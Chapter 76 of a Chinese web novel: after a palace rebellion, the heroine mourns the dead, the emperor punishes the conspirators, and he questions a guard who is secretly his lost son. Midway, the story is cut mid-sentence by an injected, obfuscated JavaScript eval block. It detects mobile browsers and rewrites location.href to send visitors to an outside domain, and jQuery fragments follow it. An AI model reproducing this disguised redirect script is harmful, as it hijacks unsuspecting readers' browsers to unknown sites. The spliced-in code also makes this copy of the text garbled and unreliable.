谁家团子 作品
76. 第 76 章
当卫珑音踏出雍和宫时,阳光重新钻了出来,天空竟然出现了一道五彩斑斓的彩虹,异常的漂亮。
只是,美丽的彩虹出现的时机、场合不对。
众人大多都沉浸在劫后余生的惊惧与喜庆之中,没有几个人有闲心欣赏彩虹。
潮湿的空气里混杂着令人作呕的血气,哪怕卫珑音曾经闻过数回,依旧让她心理不适。
血气越重,死的人也越多。其中不乏无辜者,无妄受灾的宫女太监,外围没资格入殿内的微末官吏以及妻眷,跑得慢的早已成了刀下亡魂,跑得快的尚有一线生机。
她紧紧地抿着唇角,踩着一地血水往外走,被雨水打湿的裙摆忽然被路边草丛里伸出的一直血手拽住:“救……救我。”
求救的是一个约莫十六七岁的小姑娘,模样俊秀,衣裙早已被鲜血与雨水浸湿,左臂已经被砍断,血肉模糊。除了断臂的伤,身上还有一处致命伤,自肚腹的贯穿伤。
卫珑音心知她已经没救了,却哽咽道:“好,我这就找人救你……”
话音未落,拽住她裙摆的血手无力垂了下去,陷在脏污的泥泞里。
卫珑音小脸煞白,颤抖着伸手试了试她的呼吸,人已经死了。
一股难以名状的压抑情绪瞬间充斥胸间,她闭了闭眼,抬手阖上那双死不瞑目的眼睛。
重生一回,她好像也变坏了,变得冷漠了,变得无视人命。
她明明知道夏侯盈和皇后的阴谋,却没有想办法揭穿他们。反而,为了他们走向必死的结局,任由无辜的性命填埋进去。
她的无为,害了诸多性命。
如浪潮般的愧疚与自责几乎将她掩埋,纤细若柳的身子无所依托地就要往地上倒去。
幸亏被嘉和郡主一把扶住了:“卫姊姊!”
“我……”
卫珑音哆嗦着唇说不出话,还能说什么,说她明知这场叛乱,却视而不见,什么都未做。
“表妹。”
霍定疆恢复了一些力气,红着眼睛走过来,俱是说不出话。
他以为卫珑音同他一样,突闻父兄的噩耗,经受不住打击。
害死父兄的仇人已死,无仇可保。
卫珑音一刻都不想在皇宫呆下去了,她会疯的,真的会疯,她抬头看向霍定疆,眼泪止不住地流:“二表兄,我想回家……”
霍定疆哽咽道:“好,回家,母亲还等着我们。”
父兄的身后事还需他处理。
表兄妹相互扶持着往宫外而去,二人脸上都是如出一辙的悲伤与难过。
亲人骤然去世,倒也无人非议于礼不合。
颖安老王妃见情况不对,便拉住了嘉和郡主,说什么都不准她跟着卫珑音跑进大殿。
嘉和郡主只以为里面太恐怖,将卫珑音吓坏了。
“卫姊姊休息几日,应该就能缓过来吧。”
颖安老王妃刚从颖安老王爷那儿得知霍家父子已死的消息,叹息一声:“哎,恐怕短短几日缓和不过来。”
嘉和郡主问道:“母妃何意?”
颖安老王妃摸摸嘉和郡主的头顶:“你父王正等着我们,先出宫再说。”
出了宫门,嘉和郡主又问起,颖安老王妃自不再相瞒,看了一眼颖安老王爷:“你说。”
颖安老王爷神色肃穆:“囡囡要有心理准备,霍家父子被贼人害死了。”
霍家父子?霍小将军?
嘉和郡主脸一白,两眼一翻,立时就晕死了过去。
……
皇后和夏侯盈当场身亡,跟随造反的忠靖公陈兴围见大势已去,束手就擒。
幸存的叛兵缴械投降。
至于陈兵京外的西北大军压根就没如夏侯盈设想的那般,攻入皇城,只在城外溜达了一圈,就悄无声息地退了回去。
且西北军也没有数万之众,统帅西北军的刘峰只率领小一万兵马来京,没想真的伙同夏侯盈图谋不轨。
夏侯盈想利用西北军成事,刘峰也摆了他一道。
刘峰撤退路上,听闻夏侯盈被当场诛杀,心中一阵后怕。幸亏没有被废物夏侯盈糊弄,最后关头倒戈,及时悬崖勒马。
太子曾暗中派亲信到路州与他接触,劝诫他,让他不要跟夏侯盈合谋,百害而无一利,让他老实呆在路州按兵不动。
但没过几天,太子又派了另一名亲信过来,让他领兵陈兵京外,给夏侯盈故布疑障。
只是让他想不通的是,太子为何突然改变了计划?
自己就是个粗人,打仗还在行,朝堂里的弯弯绕绕太深了,不适合自己一介莽夫。
想不了太多,但愿皇帝老儿不要怪罪。如果真要定他擅自调动兵马的重罪,大不了就将太子供出来。
……
寿宴被毁,皇后儿子携手造反,嫡太子重伤昏迷,对泰温帝的打击不可谓不重。但他是一国之君,不得不强撑着身体处理朝政。
没有血脉情分束缚,处置起与皇后夏侯盈勾结的朝臣叛兵,毫不手软。
再现当年铁血镇压的手腕,但凡与造反与之相关的官员叛臣,皆抄家灭族。
首当其冲的陈家被剥夺爵位,满门下狱,判了斩立决;皇后母族尽夷灭,从世间除名,连十岁以下的孩童都未放过;还有苏家,并未查出苏怀义与皇后夏侯盈直接勾连的证据,但让霍家父子远赴甘州,导致霍家父子惨死甘州,却是苏怀义之故。
如果霍侯父子没有远离邺京,城防营也不会被陈家渗透,成了夏侯盈造反的最大助力。
苏怀义被罢官,阖族男丁流放,女眷没入教坊司。
泰温帝眉眼阴戾,犹嫌不够,想要一并处置胆敢私自带兵入京的刘峰,奈何狗东西跑得太快了。西北数万大军尽在刘峰之手,有资历和能力接手西北军的霍家父子已死,朝中无可趁手的人接替其位,只得暂时作罢。
以泰温帝的疑心与猜忌,就算霍侯父子没死,他也不可能真的派遣他们接手西北军,增强霍家的兵权。
泰温帝下意识想要摸一摸胸口的避蛊珠,却摸了个空。能抵御世间一切蛊毒的避蛊珠乃羌巫族至宝,已经在寿宴当日遗失,遍寻不见。
“陛下,西北递来一份告罪的折子。”李来福躬身将奏折呈至御案。
泰温帝冷着脸翻开奏折,通篇都是刘锋的告罪书,他没有耐心细览,正要合上,见刘锋提到太子,又耐着性子览完。
“可恶!”泰温帝气得将奏折摔了出去,“还敢狡辩,竟不惜将事情推到太子头上?”
卫息文捡起地上奏折一看,顿时跪在地上:“请陛下明鉴,太子殿下绝无可能擅自调遣西北军入京,刘峰定是想将太子殿下拉下水,以保全自己。”
泰温帝看一眼卫息文:“卫中书令,难道朕是偏听偏信之人?”
严老中书令上了年纪,经不起叛兵的惊吓,重病不起,泰温帝提拔卫息文接替中书令之位,处理中书省诸事。
卫息文以头抢地:“臣绝非此意,臣一时情急出言不慎,还请陛下宽恕。”
泰温帝挥手:“退下。”
“是,臣告退。”卫息文退了出去。
半晌,泰温帝丢下手中政务,起身去了紫薇园,看望他最在意的嫡子。
夏侯康脸色苍白无血色,无声无息地躺在床上,像个活死人一般。
整个御医院的医正都守在紫薇园,对夏侯康的伤情束手无策。皇后下手太狠了,奔着取夏侯康的命而去,怎可能手下留情?
其中一枚弩箭直入夏侯康心口,若不是用了世上绝无仅有的一颗护心丸,恐怕夏侯康当场就殒命了。
如今,也只不过是堪堪吊着夏侯康的一口气而已。
泰温帝对着医正们发了一通火,当他踏出紫薇园时,便传来那名叫侯夏的禁军醒了过来。
泰温帝早已将侯夏的过往查探清楚,并仔细确认了侯夏的身份。为了避免混淆皇室血脉混淆,每个夏侯皇族的孩子出生,便会被宫中御用的摸骨者探骨,绘制出特有的摸骨图。
滴血验
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691961|164539||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
亲、信物、胎记都可能被伪造,唯有人的骨相无法造假。
从婴孩长至成年男子,骨骼等比例放大,异于常人的特征会被如愿保留下来。
那孩子脊背中央有一小节凸起的骨头,做不得假。且他的容貌与当初的丽妃有几分肖似,确乃丽妃所生。
侯夏就是八皇子夏侯觞,一个承载着罪恶与仇怨出生的皇子。
泰温帝曾经短暂地期待过这个孩子的降临,只可惜他的生母太不识时务,竟然利用稚子为载体下蛊弑君?生母一次又一次的癫狂与偏执,让他再也无法直视这个孩子,吝啬一丝父子温情。
夏侯觞被安置在一处偏殿,泰温帝踏进去时,他正茫然地盯着头顶华丽繁复的帷帐,似乎疑惑自己,为何还活着?
泰温帝开口道:“你……醒了?”
夏侯觞转眸看向泰温帝,目光依旧迷茫了一瞬,待目光触及到帝王明黄的龙袍,恍若后知后觉地反应过来,慌乱地掀开被子就要起身拜见皇帝。
然而,一动就牵扯到胸口的伤势,又直挺挺地躺了回去。
他咬牙,仍旧想要起身,伤口疼的额头渗出冷汗。
“陛下,属下…….”
泰温帝总算伸手按住他的身体:“躺着别动。你救了朕,朕允你不必行礼。”
夏侯觞嗓音晦涩道:“谢陛下仁慈。”
仁慈?泰温帝待八皇子从未有过仁慈。
泰温帝审视着夏侯觞,并未与他相认,而是问道:“你可知朕是谁?”
夏侯觞状似不解泰温帝为何有此一问,疑惑地回道:“陛下是天子,是大邺的皇帝。”
泰温帝见他的表情不似做假,又问他:“侯夏这个名字,是谁替你所取?”
夏侯觞闻言怔了怔,面上露出一抹缅怀之色:“回陛下,乃卑职养父所取。”只一句,再不言其它。
泰温帝等了半晌,都未等到下文,便问:“你养父何许人士?”
夏侯觞仿佛不知道泰温帝的提问试探,回道:“养父是个居无定所的游侠浪儿,但他已经死了。”
泰温帝默了默:“给朕说说你养父的事。”
“是,陛下。”夏侯觞知道言多必失,泰温帝问什么,他便规规矩矩地答什么,“养父姓侯,是一个居无定所的游侠浪儿,四海为家。早年间,养父被仇家寻仇,将他唯一的儿子杀死,为子报仇之后,四处流浪,浑噩度日。
直到十年前,我为他所救。他见我浑身是伤,不知前程往事,又与他死去的儿子相仿,便将他儿子的名字取给我,收我为养子,将一身拳脚功夫倾囊相授。”
泰温帝皱眉:“你失忆了?不记得自己的身世?”
夏侯觞点头:“以前的记忆全都没了。不过,重要的不是过往,而是未来。”
没有记忆,泰温帝便不必担心,夏侯觞恨他的薄情苛待。
想到调查的事,泰温帝不动声色地问道:“听闻你由霍家举荐入城防营,而后才得到李禄的赏识?”
夏侯觞心中冷笑,面上不显:“卑职与霍家二公子曾有过救命之恩。霍二公子生性率直,喜游走京外,仗剑天涯,卑职曾有幸救过他一命。霍家为了报答卑职的救命之恩,便对外宣称,卑职是霍家的远房亲戚,意图让卑职进入兵营不被他人轻视。”
“为何放弃自由入军营?”
“心无定所,见多了恃强凌弱之徒,一人之力太过渺小,便想建功立业。等我成了大将军,或可荡平世间不平事。”夏侯觞眼睛不带眨的,信手拈来。
“你的志向就是成为大将军?”
“是。”
泰温帝别有深意地看向夏侯觞:“志向可定得更高远一些?”
夏侯觞默然:“大将军之位已是卑职不可高攀的存在,更高远的志向,卑职想不出。”
泰温帝心性多疑,不会仅凭夏侯觞的片面之词,便全然信之。
事后,泰温帝又派了人到霍家问询,霍夫人、霍定疆以及卫珑音的说辞皆与夏侯觞的言语对得上,方才彻底打消疑虑。